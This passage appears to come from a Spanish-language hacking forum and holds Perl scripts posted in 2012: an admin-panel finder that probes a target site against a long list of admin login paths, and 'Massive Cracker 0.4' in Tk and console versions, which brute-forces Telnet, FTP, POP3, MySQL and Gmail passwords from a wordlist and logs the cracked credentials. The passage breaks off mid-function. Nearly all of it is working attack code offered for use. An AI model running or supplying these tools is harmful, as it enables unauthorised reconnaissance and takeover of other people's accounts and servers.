  204.    -background => $color_fondo,
  205.    -foreground => $color_texto,
  206.    -command    => \&aboutxa
  207. );
  208.  
  209. $exitnowaxm->command(
  210.    -label      => "Exit",
  211.    -background => $color_fondo,
  212.    -foreground => $color_texto,
  213.    -command    => \&exitnow
  214. );
  215.  
  216. $newdaxz->Label(
  217.    -text       => "Page : ",
  218.    -font       => "Impact",
  219.    -background => $color_fondo,
  220.    -foreground => $color_texto
  221. )->place( -x => 20, -y => 40 );
  222. my $paget = $newdaxz->Entry(
  223.    -width      => 40,
  224.    -background => $color_fondo,
  225.    -foreground => $color_texto
  226. )->place( -x => 70, -y => 45 );
  227.  
  228. $newdaxz->Label(
  229.    -text       => "Panels Found",
  230.    -font       => "Impact",
  231.    -background => $color_fondo,
  232.    -foreground => $color_texto
  233. )->place( -x => 120, -y => 80 );
  234. my $admins = $newdaxz->Listbox(
  235.    -width      => 40,
  236.    -height     => 10,
  237.    -background => $color_fondo,
  238.    -foreground => $color_texto
  239. )->place( -x => 50, -y => 130 );
  240.  
  241. $newdaxz->Label(
  242.    -text       => "Status : ",
  243.    -font       => "Impact",
  244.    -background => $color_fondo,
  245.    -foreground => $color_texto
  246. )->place( -x => 63, -y => 300 );
  247. my $tatus = $newdaxz->Entry(
  248.    -width      => 25,
  249.    -background => $color_fondo,
  250.    -foreground => $color_texto
  251. )->place( -x => 120, -y => 305 );
  252.  
  253. $admins->bind( "<Double-1>", [ \&loader ] );
  254.  
  255. MainLoop;
  256.  
  257. sub findpanel {
  258.    my $hage = $paget->get;
  259.    $admins->delete( "0.0", "end" );
  260.    $tatus->configure( -text => "Starting" );
  261.    for my $path (@paneles) {
  262.        $newdaxz->update;
  263.        $tatus->configure( -text => $path );
  264.        $code = tomados( $hage . "/" . $path );
  265.        if ( $code->is_success ) {
  266.            $controlt = 1;
  267.            $admins->insert( "end", $hage . "/" . $path );
  268.            savefile( "admins-founds.txt", $hage . "/" . $path );
  269.        }
  270.    }
  271.  
  272.    if ( $controlt ne 1 ) {
  273.        $newdaxz->Dialog(
  274.            -title            => "Error",
  275.            -buttons          => ["OK"],
  276.            -text             => "Not found anything",
  277.            -background       => $color_fondo,
  278.            -foreground       => $color_texto,
  279.            -activebackground => $color_texto
  280.        )->Show();
  281.    }
  282.    $tatus->configure( -text => "Finished" );
  283. }
  284.  
  285. sub loader {
  286.    $adminsa = $admins->curselection();
  287.    for my $id (@$adminsa) {
  288.        my $linkar = $admins->get($id);
  289.        system("start firefox $linkar");
  290.    }
  291. }
  292.  
  293. sub openlogsk {
  294.    my $f = "admins-founds.txt";
  295.    if ( -f $f ) {
  296.        system($f);
  297.    }
  298.    else {
  299.        $newdaxz->Dialog(
  300.            -title            => "Error",
  301.            -buttons          => ["OK"],
  302.            -text             => "File Not Found",
  303.            -background       => $color_fondo,
  304.            -foreground       => $color_texto,
  305.            -activebackground => $color_texto
  306.        )->Show();
  307.    }
  308. }
  309.  
  310. sub aboutxa {
  311.    $newdaxz->Dialog(
  312.        -title            => "About",
  313.        -buttons          => ["OK"],
  314.        -text             => "Coded By Doddy H",
  315.        -background       => $color_fondo,
  316.        -foreground       => $color_texto,
  317.        -activebackground => $color_texto
  318.    )->Show();
  319. }
  320.  
  321. sub exitnow {
  322.    exit 1;
  323. }
  324.  
  325. sub savefile {
  326.    open( SAVE, ">>" . $_[0] );
  327.    print SAVE $_[1] . "\n";
  328.    close SAVE;
  329. }
  330.  
  331. sub tomados {
  332.    return $nave->get( $_[0] );
  333. }
  334.  
  335. sub repes {
  336.    my @limpio;
  337.    foreach $test (@_) {
  338.        push @limpio, $test unless $repe{$test}++;
  339.    }
  340.    return @limpio;
  341. }
  342.  
  343. #The End ?
  344.  
246  Programación / Scripting / [Perl] Panel Control 0.3 en: 9 Junio 2012, 16:33 pm
Simple script para buscar el famoso panel de administracion.

Código
  1. #!usr/bin/perl
  2. #Panel Control 0.3
  3. #Coded By Doddy H
  4. #The arrays are a collection of several I found on the web
  5.  
  6. my @paneles = (
  7.    'admin/admin.asp',               'admin/login.asp',
  8.    'admin/index.asp',               'admin/admin.aspx',
  9.    'admin/login.aspx',              'admin/index.aspx',
  10.    'admin/webmaster.asp',           'admin/webmaster.aspx',
  11.    'asp/admin/index.asp',           'asp/admin/index.aspx',
  12.    'asp/admin/admin.asp',           'asp/admin/admin.aspx',
  13.    'asp/admin/webmaster.asp',       'asp/admin/webmaster.aspx',
  14.    'admin/',                        'login.asp',
  15.    'login.aspx',                    'admin.asp',
  16.    'admin.aspx',                    'webmaster.aspx',
  17.    'webmaster.asp',                 'login/index.asp',
  18.    'login/index.aspx',              'login/login.asp',
  19.    'login/login.aspx',              'login/admin.asp',
  20.    'login/admin.aspx',              'administracion/index.asp',
  21.    'administracion/index.aspx',     'administracion/login.asp',
  22.    'administracion/login.aspx',     'administracion/webmaster.asp',
  23.    'administracion/webmaster.aspx', 'administracion/admin.asp',
  24.    'administracion/admin.aspx',     'php/admin/',
  25.    'admin/admin.php',               'admin/index.php',
  26.    'admin/login.php',               'admin/system.php',
  27.    'admin/ingresar.php',            'admin/administrador.php',
  28.    'admin/default.php',             'administracion/',
  29.    'administracion/index.php',      'administracion/login.php',
  30.    'administracion/ingresar.php',   'administracion/admin.php',
  31.    'administration/',               'administration/index.php',
  32.    'administration/login.php',      'administrator/index.php',
  33.    'administrator/login.php',       'administrator/system.php',
  34.    'system/',                       'system/login.php',
  35.    'admin.php',                     'login.php',
  36.    'administrador.php',             'administration.php',
  37.    'administrator.php',             'admin1.html',
  38.    'admin1.php',                    'admin2.php',
  39.    'admin2.html',                   'yonetim.php',
  40.    'yonetim.html',                  'yonetici.php',
  41.    'yonetici.html',                 'adm/',
  42.    'admin/account.php',             'admin/account.html',
  43.    'admin/index.html',              'admin/login.html',
  44.    'admin/home.php',                'admin/controlpanel.html',
  45.    'admin/controlpanel.php',        'admin.html',
  46.    'admin/cp.php',                  'admin/cp.html',
  47.    'cp.php',                        'cp.html',
  48.    'administrator/',                'administrator/index.html',
  49.    'administrator/login.html',      'administrator/account.html',
  50.    'administrator/account.php',     'administrator.html',
  51.    'login.html',                    'modelsearch/login.php',
  52.    'moderator.php',                 'moderator.html',
  53.    'moderator/login.php',           'moderator/login.html',
  54.    'moderator/admin.php',           'moderator/admin.html',
  55.    'moderator/',                    'account.php',
  56.    'account.html',                  'controlpanel/',
  57.    'controlpanel.php',              'controlpanel.html',
  58.    'admincontrol.php',              'admincontrol.html',
  59.    'adminpanel.php',                'adminpanel.html',
  60.    'admin1.asp',                    'admin2.asp',
  61.    'yonetim.asp',                   'yonetici.asp',
  62.    'admin/account.asp',             'admin/home.asp',
  63.    'admin/controlpanel.asp',        'admin/cp.asp',
  64.    'cp.asp',                        'administrator/index.asp',
  65.    'administrator/login.asp',       'administrator/account.asp',
  66.    'administrator.asp',             'modelsearch/login.asp',
  67.    'moderator.asp',                 'moderator/login.asp',
  68.    'moderator/admin.asp',           'account.asp',
  69.    'controlpanel.asp',              'admincontrol.asp',
  70.    'adminpanel.asp',                'fileadmin/',
  71.    'fileadmin.php',                 'fileadmin.asp',
  72.    'fileadmin.html',                'administration.html',
  73.    'sysadmin.php',                  'sysadmin.html',
  74.    'phpmyadmin/',                   'myadmin/',
  75.    'sysadmin.asp',                  'sysadmin/',
  76.    'ur-admin.asp',                  'ur-admin.php',
  77.    'ur-admin.html',                 'ur-admin/',
  78.    'Server.php',                    'Server.html',
  79.    'Server.asp',                    'Server/',
  80.    'wp-admin/',                     'administr8.php',
  81.    'administr8.html',               'administr8/',
  82.    'administr8.asp',                'webadmin/',
  83.    'webadmin.php',                  'webadmin.asp',
  84.    'webadmin.html',                 'administratie/',
  85.    'admins/',                       'admins.php',
  86.    'admins.asp',                    'admins.html',
  87.    'administrivia/',                'Database_Administration/',
  88.    'WebAdmin/',                     'useradmin/',
  89.    'sysadmins/',                    'admin1/',
  90.    'system-administration/',        'administrators/',
  91.    'pgadmin/',                      'directadmin/',
  92.    'staradmin/',                    'ServerAdministrator/',
  93.    'SysAdmin/',                     'administer/',
  94.    'LiveUser_Admin/',               'sys-admin/',
  95.    'typo3/',                        'panel/',
  96.    'cpanel/',                       'cPanel/',
  97.    'cpanel_file/',                  'platz_login/',
  98.    'rcLogin/',                      'blogindex/',
  99.    'formslogin/',                   'autologin/',
  100.    'support_login/',                'meta_login/',
  101.    'manuallogin/',                  'simpleLogin/',
  102.    'loginflat/',                    'utility_login/',
  103.    'showlogin/',                    'memlogin/',
  104.    'members/',                      'login-redirect/',
  105.    'sub-login/',                    'wp-login/',
  106.    'login1/',                       'dir-login/',
  107.    'login_db/',                     'xlogin/',
  108.    'smblogin/',                     'customer_login/',
  109.    'UserLogin/',                    'login-us/',
  110.    'acct_login/',                   'admin_area/',
  111.    'bigadmin/',                     'project-admins/',
  112.    'phppgadmin/',                   'pureadmin/',
  113.    'sql-admin/',                    'radmind/',
  114.    'openvpnadmin/',                 'wizmysqladmin/',
  115.    'vadmind/',                      'ezsqliteadmin/',
  116.    'hpwebjetadmin/',                'newsadmin/',
  117.    'adminpro/',                     'Lotus_Domino_Admin/',
  118.    'bbadmin/',                      'vmailadmin/',
  119.    'Indy_admin/',                   'ccp14admin/',
  120.    'irc-macadmin/',                 'banneradmin/',
  121.    'sshadmin/',                     'phpldapadmin/',
  122.    'macadmin/',                     'administratoraccounts/',
  123.    'admin4_account/',               'admin4_colon/',
  124.    'radmind-1/',                    'Super-Admin/',
  125.    'AdminTools/',                   'cmsadmin/',
  126.    'SysAdmin2/',                    'globes_admin/',
  127.    'cadmins/',                      'phpSQLiteAdmin/',
  128.    'navSiteAdmin/',                 'server_admin_small/',
  129.    'logo_sysadmin/',                'server/',
  130.    'database_administration/',      'power_user/',
  131.    'system_administration/',        'ss_vms_admin_sm/'
  132. );
  133.  
  134. use LWP::UserAgent;
  135.  
  136. my $nave = LWP::UserAgent->new();
  137. $nave->agent(
  138. "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
  139. );
  140. $nave->timeout(5);
  141.  
  142. head();
  143. print "[+] Page : ";
  144. chomp( my $page = <stdin> );
  145. scan($page);
  146. copyright();
  147.  
  148. sub scan {
  149.  
  150.    print "\n\n[*] Searching .....\n\n\n";
  151.  
  152.    for my $path (@paneles) {
  153.        $code = tomados( $_[0] . "/" . $path );
  154.  
  155.        if ( $code->is_success ) {
  156.            $controlt = 1;
  157.            print "\a\a[Link] : " . $_[0] . "/" . $path . "\n";
  158.            savefile( "admins_logs.txt", $_[0] . "/" . $path );
  159.        }
  160.  
  161.    }
  162.  
  163.    if ( $controlt ne 1 ) {
  164.        print "[-] Not found anything\n";
  165.    }
  166.  
  167. }
  168.  
  169. sub head {
  170.    print q (
  171.  
  172.  
  173. @@@@@                    @     @@@@                          @
  174. @    @                   @    @    @             @           @
  175. @    @                   @    @                  @           @
  176. @    @  @@@  @ @@   @@@  @    @       @@@  @ @@  @@ @@  @@@  @
  177. @@@@@      @ @@  @ @   @ @    @      @   @ @@  @ @  @  @   @ @
  178. @       @@@@ @   @ @@@@@ @    @      @   @ @   @ @  @  @   @ @
  179. @      @   @ @   @ @     @    @      @   @ @   @ @  @  @   @ @
  180. @      @   @ @   @ @   @ @    @    @ @   @ @   @ @  @  @   @ @
  181. @       @@@@ @   @  @@@  @     @@@@   @@@  @   @  @ @   @@@  @
  182.  
  183.  
  184.  
  185. );
  186. }
  187.  
  188. sub copyright {
  189.    print "\n\n(C) Doddy Hackman 2012\n\n";
  190.    <stdin>;
  191.    exit(1);
  192. }
  193.  
  194. sub tomados {
  195.    return $nave->get( $_[0] );
  196. }
  197.  
  198. sub savefile {
  199.    open( SAVE, ">>" . $_[0] );
  200.    print SAVE $_[1] . "\n";
  201.    close SAVE;
  202. }
  203.  
  204. #The End ?
  205.  
247  Programación / Scripting / [Perl Tk] Masive Cracker 0.4 en: 2 Junio 2012, 21:18 pm
Version Tk de este programa para crackear cuentas del tipo telnet,ftp,pop3 y gmail.

Una imagen



El codigo

Código
  1. #!usr/bin/perl
  2. #Massive Cracker 0.4
  3. #Version Tk
  4. #Coded By Doddy H
  5. #http://search.cpan.org/~jrogers/Net-Telnet-3.03/lib/Net/Telnet.pm
  6. #ppm install http://www.bribes.org/perl/ppm/DBI.ppd
  7. #ppm install http://theoryx5.uwinnipeg.ca/ppms/DBD-mysql.ppd
  8. #http://search.cpan.org/~sdowd/Mail-POP3Client-2.18/POP3Client.pm
  9. #http://search.cpan.org/~sullr/IO-Socket-SSL-1.54/SSL.pm
  10. #ppm install http://www.open.com.au/radiator/free-downloads/Net-SSLeay.ppd
  11. #http://search.cpan.org/~gbarr/Authen-SASL-2.15/lib/Authen/SASL.pod
  12.  
  13. use Cwd;
  14. use Tk;
  15. use Tk::FileSelect;
  16. use Tk::Dialog;
  17. use LWP::UserAgent;
  18. use Net::FTP;
  19. use Net::POP3;
  20. use Net::Telnet;
  21. use DBI;
  22. use Mail::POP3Client;
  23. use IO::Socket::SSL;
  24.  
  25. my $nave = LWP::UserAgent->new();
  26. $nave->timeout(5);
  27. $nave->agent(
  28. "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
  29. );
  30.  
  31. #if ($^O eq 'MSWin32') {
  32. #use Win32::Console;
  33. #Win32::Console::Free();
  34. #}
  35.  
  36. my $color_texto = "green";
  37. my $color_fondo = "black";
  38.  
  39. my $newdax =
  40.  MainWindow->new( -background => $color_fondo, -foreground => $color_texto );
  41.  
  42. $newdax->title("Massive Cracker 0.4");
  43. $newdax->geometry("320x270+50+50");
  44. $newdax->resizable( 0, 0 );
  45.  
  46. $menula = $newdax->Frame(
  47.    -relief     => "sunken",
  48.    -bd         => 1,
  49.    -background => $color_fondo,
  50.    -foreground => $color_texto
  51. );
  52. my $menulnowaxaz = $menula->Menubutton(
  53.    -text             => "Options",
  54.    -underline        => 1,
  55.    -background       => $color_fondo,
  56.    -foreground       => $color_texto,
  57.    -activebackground => $color_texto
  58. )->pack( -side => "left" );
  59. my $aboutnowaxaz = $menula->Menubutton(
  60.    -text             => "About",
  61.    -underline        => 1,
  62.    -background       => $color_fondo,
  63.    -foreground       => $color_texto,
  64.    -activebackground => $color_texto
  65. )->pack( -side => "left" );
  66. my $exitnowaxaz = $menula->Menubutton(
  67.    -text             => "Exit",
  68.    -underline        => 1,
  69.    -background       => $color_fondo,
  70.    -foreground       => $color_texto,
  71.    -activebackground => $color_texto
  72. )->pack( -side => "left" );
  73. $menula->pack( -side => "top", -fill => "x" );
  74.  
  75. $menulnowaxaz->command(
  76.    -label      => "Crack",
  77.    -background => $color_fondo,
  78.    -foreground => $color_texto,
  79.    -command    => \&crack
  80. );
  81. $menulnowaxaz->command(
  82.    -label      => "Open Logs",
  83.    -background => $color_fondo,
  84.    -foreground => $color_texto,
  85.    -command    => \&openlogsaz
  86. );
  87. $aboutnowaxaz->command(
  88.    -label      => "About",
  89.    -background => $color_fondo,
  90.    -foreground => $color_texto,
  91.    -command    => \&aboutxaz
  92. );
  93. $exitnowaxaz->command(
  94.    -label      => "Exit",
  95.    -background => $color_fondo,
  96.    -foreground => $color_texto,
  97.    -command    => \&exitnowaz
  98. );
  99.  
  100. #
  101. $newdax->Label(
  102.    -text       => "Host : ",
  103.    -font       => "Impact1",
  104.    -background => $color_fondo,
  105.    -foreground => $color_texto
  106. )->place( -x => 20, -y => 40 );
  107. my $host = $newdax->Entry(
  108.    -width      => 30,
  109.    -background => $color_fondo,
  110.    -foreground => $color_texto
  111. )->place( -x => 70, -y => 43 );
  112. $newdax->Label(
  113.    -text       => "Username : ",
  114.    -font       => "Impact1",
  115.    -background => $color_fondo,
  116.    -foreground => $color_texto
  117. )->place( -x => 20, -y => 70 );
  118. my $username = $newdax->Entry(
  119.    -width      => 20,
  120.    -background => $color_fondo,
  121.    -foreground => $color_texto
  122. )->place( -x => 110, -y => 73 );
  123. $newdax->Label(
  124.    -text       => "Wordlist : ",
  125.    -font       => "Impact1",
  126.    -background => $color_fondo,
  127.    -foreground => $color_texto
  128. )->place( -x => 20, -y => 100 );
  129. my $password = $newdax->Entry(
  130.    -width      => 20,
  131.    -background => $color_fondo,
  132.    -foreground => $color_texto
  133. )->place( -x => 95, -y => 103 );
  134. $newdax->Button(
  135.    -text             => "Browse",
  136.    -width            => 10,
  137.    -command          => \&bronaf,
  138.    -background       => $color_fondo,
  139.    -foreground       => $color_texto,
  140.    -activebackground => $color_texto
  141. )->place( -x => 225, -y => 103 );
  142. $newdax->Label(
  143.    -text       => "Timeout : ",
  144.    -font       => "Impact1",
  145.    -background => $color_fondo,
  146.    -foreground => $color_texto
  147. )->place( -x => 20, -y => 130 );
  148. my $timeout = $newdax->Entry(
  149.    -width      => 10,
  150.    -background => $color_fondo,
  151.    -foreground => $color_texto
  152. )->place( -x => 95, -y => 133 );
  153.  
  154. $newdax->Label(
  155.    -text       => "Service : ",
  156.    -font       => "Impact1",
  157.    -background => $color_fondo,
  158.    -foreground => $color_texto
  159. )->place( -x => 20, -y => 170 );
  160. $newdax->Optionmenu(
  161.    -background       => $color_fondo,
  162.    -foreground       => $color_texto,
  163.    -activebackground => $color_texto,
  164.    -options          => [
  165.        [ FTP    => FTP ],
  166.        [ TELNET => TELNET ],
  167.        [ POP3   => POP3 ],
  168.        [ MYSQL  => MYSQL ],
  169.        [ GMAIL  => GMAIL ]
  170.    ],
  171.    -textvariable => \$service
  172. )->place( -x => 90, -y => 170 );
  173.  
  174. $newdax->Label(
  175.    -text       => "Status : ",
  176.    -font       => "Impact",
  177.    -background => $color_fondo,
  178.    -foreground => $color_texto
  179. )->place( -x => 60, -y => 220 );
  180. my $status = $newdax->Entry(
  181.    -width      => 20,
  182.    -background => $color_fondo,
  183.    -foreground => $color_texto
  184. )->place( -x => 120, -y => 225 );
  185.  
  186. #
  187.  
  188. MainLoop;
  189.  
  190. sub crack {
  191.  
  192.    my $host = $host->get;
  193.    my $user = $username->get;
  194.    my $word = $password->get;
  195.    my $time = $timeout->get;
  196.  
  197.    my $op = $service;
  198.  
  199.    if ( -f $word ) {
  200.  
  201.        $status->configure( -text => " " );
  202.  
  203.        if ( $op eq "TELNET" ) {
  204.  
  205.            my $cont = "0";
  206.  
  207.            my @words = openwordlist($word);
  208.  
  209.            for my $pass (@words) {
  210.                chomp $pass;
  211.                $newdax->update;
  212.                $status->configure( -text => $pass );
  213.                sleep($time);
  214.                $telnet = new Net::Telnet( Errmode => "return" );
  215.                $telnet->open($host);
  216.                if ( $telnet->login( $user, $pass ) ) {
  217.                    $cont = "1";
  218.                    yeah( $host, $user, $pass, "Telnet" );
  219.                }
  220.                $telnet->close;
  221.            }
  222.            if ( $cont eq "0" ) {
  223.                $status->configure( -text => "Not Found" );
  224.            }
  225.        }
  226.  
  227.        elsif ( $op eq "FTP" ) {
  228.  
  229.            my $cont = "0";
  230.  
  231.            my @words = openwordlist($word);
  232.  
  233.            for my $pass (@words) {
  234.                chomp $pass;
  235.                $newdax->update;
  236.                $status->configure( -text => $pass );
  237.                sleep($time);
  238.                $ftp = Net::FTP->new($host);
  239.                if ( $ftp->login( $user, $pass ) ) {
  240.                    $cont = "1";
  241.                    yeah( $host, $user, $pass, "FTP" );
  242.                }
  243.                $ftp->quit;
  244.            }
  245.            if ( $cont eq "0" ) {
  246.                $status->configure( -text => "Not Found" );
  247.            }
  248.        }
  249.        elsif ( $op eq "POP3" ) {
  250.  
  251.            my $cont = "0";
  252.  
  253.            my @words = openwordlist($word);
  254.  
  255.            for my $pass (@words) {
  256.                chomp $pass;
  257.                $newdax->update;
  258.                $status->configure( -text => $pass );
  259.                sleep($time);
  260.                $pop = Net::POP3->new($host);
  261.                if ( $pop->login( $user, $pass ) ) {
  262.                    $cont = "1";
  263.                    yeah( $host, $user, $pass, "POP3" );
  264.                }
  265.                $pop->quit();
  266.            }
  267.            if ( $cont eq "0" ) {
  268.                $status->configure( -text => "Not Found" );
  269.            }
  270.        }
  271.  
  272.        elsif ( $op eq "MYSQL" ) {
  273.  
  274.            my $cont = "0";
  275.  
  276.            my @words = openwordlist($word);
  277.  
  278.            $target = "dbi:mysql::" . $host . ":3306";
  279.  
  280.            for my $pass (@words) {
  281.                chomp $pass;
  282.                $newdax->update;
  283.                $status->configure( -text => $pass );
  284.                sleep($time);
  285.                if ( my $now =
  286.                    DBI->connect( $target, $user, $pass, { PrintError => 0 } ) )
  287.                {
  288.                    $cont = "1";
  289.                    yeah( $host, $user, $pass, "Mysql" );
  290.                }
  291.            }
  292.            if ( $cont eq "0" ) {
  293.                $status->configure( -text => "Not Found" );
  294.            }
  295.        }
  296.  
  297.        elsif ( $op eq "GMAIL" ) {
  298.  
  299.            my $cont = "0";
  300.  
  301.            my @words = openwordlist($word);
  302.  
  303.            for my $pass (@words) {
  304.                chomp $pass;
  305.                $newdax->update;
  306.                $status->configure( -text => $pass );
  307.                sleep($time);
  308.                my $so = IO::Socket::SSL->new(
  309.                    PeerAddr => "pop.gmail.com",
  310.                    PeerPort => 995,
  311.                    Proto    => "tcp"
  312.                );
  313.  
  314.                my $nave = Mail::POP3Client->new();
  315.  
  316.                $nave->User($user);
  317.                $nave->Pass($pass);
  318.                $nave->Socket($so);
  319.  
  320.                if ( $nave->Connect() ) {
  321.                    $cont = "1";
  322.                    yeah( "pop.gmail.com", $user, $pass, "Gmail" );
  323.                }
  324.  
  325.                $so->close();
  326.                $nave->close();
  327.            }
  328.            if ( $cont eq "0" ) {
  329.                $status->configure( -text => "Not Found" );
  330.            }
  331.  
  332.        }
  333.        else {
  334.        }
  335.    }
  336.    else {
  337.        $newdax->Dialog(
  338.            -title            => "Error",
  339.            -buttons          => ["OK"],
  340.            -text             => "File Not Found",
  341.            -background       => $color_fondo,
  342.            -foreground       => $color_texto,
  343.            -activebackground => $color_texto
  344.        )->Show();
  345.    }
  346. }
  347.  
  348. sub yeah {
  349.  
  350.    my $foundtk = MainWindow->new(
  351.        -background => $color_fondo,
  352.        -foreground => $color_texto
  353.    );
  354.    $foundtk->title("Account Cracked");
  355.    $foundtk->geometry("280x130+20+20");
  356.    $foundtk->resizable( 0, 0 );
  357.  
  358.    $foundtk->Label(
  359.        -text       => "Host : ",
  360.        -font       => "Impact",
  361.        -background => $color_fondo,
  362.        -foreground => $color_texto
  363.    )->place( -x => 20, -y => 20 );
  364.    my $host_found = $foundtk->Entry(
  365.        -width      => 30,
  366.        -background => $color_fondo,
  367.        -foreground => $color_texto
  368.    )->place( -x => 67, -y => 25 );
  369.    $foundtk->Label(
  370.        -text       => "Username : ",
  371.        -font       => "Impact",
  372.        -background => $color_fondo,
  373.        -foreground => $color_texto
  374.    )->place( -x => 20, -y => 50 );
  375.    my $user_found = $foundtk->Entry(
  376.        -width      => 24,
  377.        -background => $color_fondo,
  378.        -foreground => $color_texto
  379.    )->place( -x => 103, -y => 55 );
  380.    $foundtk->Label(
  381.        -text       => "Password : ",
  382.        -font       => "Impact",
  383.        -background => $color_fondo,
  384.        -foreground => $color_texto
  385.    )->place( -x => 20, -y => 80 );
  386.    my $pass_found = $foundtk->Entry(
  387.        -width      => 24,
  388.        -background => $color_fondo,
  389.        -foreground => $color_texto
  390.    )->place( -x => 103, -y => 85 );
  391.  
  392.    $host_found->configure( -text => $_[0] );
  393.    $user_found->configure( -text => $_[1] );
  394.    $pass_found->configure( -text => $_[2] );
  395.  
  396.    savefile( "cracked-logs.txt",
  397.        $_[3] . ":" . $_[0] . ":" . $_[1] . ":" . $_[2] );
  398.  
  399.    last;
  400.  
  401. }
  402.  
  403. sub openwordlist {
  404.  
  405.    my @words;
  406.    my ($file) = @_;
  407.  
  408.    open( FILE, $file );
  409.    my @words = <FILE>;
  410.    close FILE;
  411.  
  412.    return @words;
  413.  
  414. }
  415.  
  416. sub bronaf {
  417.    $newdax->update;
  418.    $browse = $newdax->FileSelect( -directory => getcwd() );
  419.    my $file = $browse->Show;
  420.    $password->configure( -text => $file );
  421. }
  422.  
  423. sub aboutxaz {
  424.    $newdax->Dialog(
  425.        -title            => "About",
  426.        -buttons          => ["OK"],
  427.        -text             => "Coded By Doddy H",
  428.        -background       => $color_fondo,
  429.        -foreground       => $color_texto,
  430.        -activebackground => $color_texto
  431.    )->Show();
  432. }
  433.  
  434. sub openlogsaz {
  435.    my $f = "cracked-logs.txt";
  436.    if ( -f $f ) {
  437.        system($f);
  438.    }
  439.    else {
  440.        $newdax->Dialog(
  441.            -title            => "Error",
  442.            -buttons          => ["OK"],
  443.            -text             => "File Not Found",
  444.            -background       => $color_fondo,
  445.            -foreground       => $color_texto,
  446.            -activebackground => $color_texto
  447.        )->Show();
  448.    }
  449. }
  450.  
  451. sub exitnowaz { exit 1; }
  452.  
  453. sub savefile {
  454.    open( SAVE, ">>" . $_[0] );
  455.    print SAVE $_[1] . "\n";
  456.    close SAVE;
  457. }
  458.  
  459. sub toma {
  460.    return $nave->get( $_[0] )->content;
  461. }
  462.  
  463. sub repes {
  464.    my @limpio;
  465.    foreach $test (@_) {
  466.        push @limpio, $test unless $repe{$test}++;
  467.    }
  468.    return @limpio;
  469. }
  470.  
  471. #The End ?
  472.  
  473.  
248  Programación / Scripting / [Perl] Massive Cracker 0.4 en: 2 Junio 2012, 21:18 pm
Nueva version de este programa para crackear el siguiente tipo de cuentas

  • Telnet
  • FTP
  • POP3
  • Mysql
  • Gmail

Tambien le quite la opcion de Hotmail la cual era obsoleta.

El codigo

Código
  1. #!usr/bin/perl
  2. #Massive Cracker 0.4
  3. #Coded By Doddy H
  4. #http://search.cpan.org/~jrogers/Net-Telnet-3.03/lib/Net/Telnet.pm
  5. #ppm install http://www.bribes.org/perl/ppm/DBI.ppd
  6. #ppm install http://theoryx5.uwinnipeg.ca/ppms/DBD-mysql.ppd
  7. #http://search.cpan.org/~sdowd/Mail-POP3Client-2.18/POP3Client.pm
  8. #http://search.cpan.org/~sullr/IO-Socket-SSL-1.54/SSL.pm
  9. #ppm install http://www.open.com.au/radiator/free-downloads/Net-SSLeay.ppd
  10. #http://search.cpan.org/~gbarr/Authen-SASL-2.15/lib/Authen/SASL.pod
  11.  
  12. use Net::FTP;
  13. use Net::POP3;
  14. use Net::Telnet;
  15. use DBI;
  16.  
  17. use Mail::POP3Client;
  18. use IO::Socket::SSL;
  19.  
  20. head();
  21.  
  22. print "[+] Option :  ";
  23. chomp( my $op = <stdin> );
  24.  
  25. if ( $op eq "1" ) {
  26.  
  27.    my ( $host, $user, $word, $time ) = form1();
  28.    my @words = openwordlist( $word, "Telnet" );
  29.  
  30.    for my $pass (@words) {
  31.        chomp $pass;
  32.        sleep($time);
  33.        $telnet = new Net::Telnet( Errmode => "return" );
  34.        $telnet->open($host);
  35.        if ( $telnet->login( $user, $pass ) ) {
  36.            yeah( $host, $user, $pass, "Telnet" );
  37.        }
  38.        $telnet->close;
  39.    }
  40.  
  41.    print "\n[-] Password Not Found\n";
  42.  
  43. }
  44.  
  45. elsif ( $op eq "2" ) {
  46.  
  47.    my ( $host, $user, $word, $time ) = form1();
  48.    my @words = openwordlist( $word, "FTP" );
  49.  
  50.    for my $pass (@words) {
  51.        chomp $pass;
  52.        sleep($time);
  53.        $ftp = Net::FTP->new($host);
  54.        if ( $ftp->login( $user, $pass ) ) {
  55.            yeah( $host, $user, $pass, "FTP" );
  56.        }
  57.        $ftp->quit;
  58.    }
  59.  
  60.    print "\n[-] Password Not Found\n";
  61.  
  62. }
  63. elsif ( $op eq "3" ) {
  64.  
  65.    my ( $host, $user, $word, $time ) = form1();
  66.    my @words = openwordlist( $word, "POP3" );
  67.  
  68.    for my $pass (@words) {
  69.        chomp $pass;
  70.        sleep($time);
  71.        $pop = Net::POP3->new($host);
  72.        if ( $pop->login( $user, $pass ) ) {
  73.            yeah( $host, $user, $pass, "POP3" );
  74.        }
  75.        $pop->quit();
  76.    }
  77.  
  78.    print "\n[-] Password Not Found\n";
  79.  
  80. }
  81.  
  82. elsif ( $op eq "4" ) {
  83.  
  84.    my ( $host, $user, $word, $time ) = form1();
  85.    my @words = openwordlist( $word, "Mysql" );
  86.  
  87.    $target = "dbi:mysql::" . $host . ":3306";
  88.  
  89.    for my $pass (@words) {
  90.        chomp $pass;
  91.        sleep($time);
  92.        if ( my $now =
  93.            DBI->connect( $target, $user, $pass, { PrintError => 0 } ) )
  94.        {
  95.            yeah( $host, $user, $pass, "Mysql" );
  96.        }
  97.    }
  98.  
  99.    print "\n[-] Password Not Found\n";
  100.  
  101. }
  102.  
  103. elsif ( $op eq "5" ) {
  104.  
  105.    my ( $user, $word, $time ) = form2();
  106.    my @words = openwordlist( $word, "Gmail" );
  107.  
  108.    for my $pass (@words) {
  109.        chomp $pass;
  110.        sleep($time);
  111.        my $so = IO::Socket::SSL->new(
  112.            PeerAddr => "pop.gmail.com",
  113.            PeerPort => 995,
  114.            Proto    => "tcp"
  115.        );
  116.  
  117.        my $nave = Mail::POP3Client->new();
  118.  
  119.        $nave->User($user);
  120.        $nave->Pass($pass);
  121.        $nave->Socket($so);
  122.  
  123.        if ( $nave->Connect() ) {
  124.            yeahmail( "Gmail", $user, $pass );
  125.        }
  126.  
  127.        $so->close();
  128.        $nave->close();
  129.    }
  130.    print "\n[-] Password Not Found\n";
  131. }
  132.  
  133. else {
  134.    print "\n\n[+] Bad Option\n";
  135. }
  136.  
  137. copyright();
  138.  
  139. sub yeah {
  140.  
  141.    print "\a\a\n[+] Cracked\n\n";
  142.    print "[+] Host : $_[0]\n";
  143.    print "[+] Username: $_[1]\n";
  144.    print "[+] Password : $_[2]\n";
  145.  
  146.    savefile( "cracked-logs.txt",
  147.        $_[3] . ":" . $_[0] . ":" . $_[1] . ":" . $_[2] );
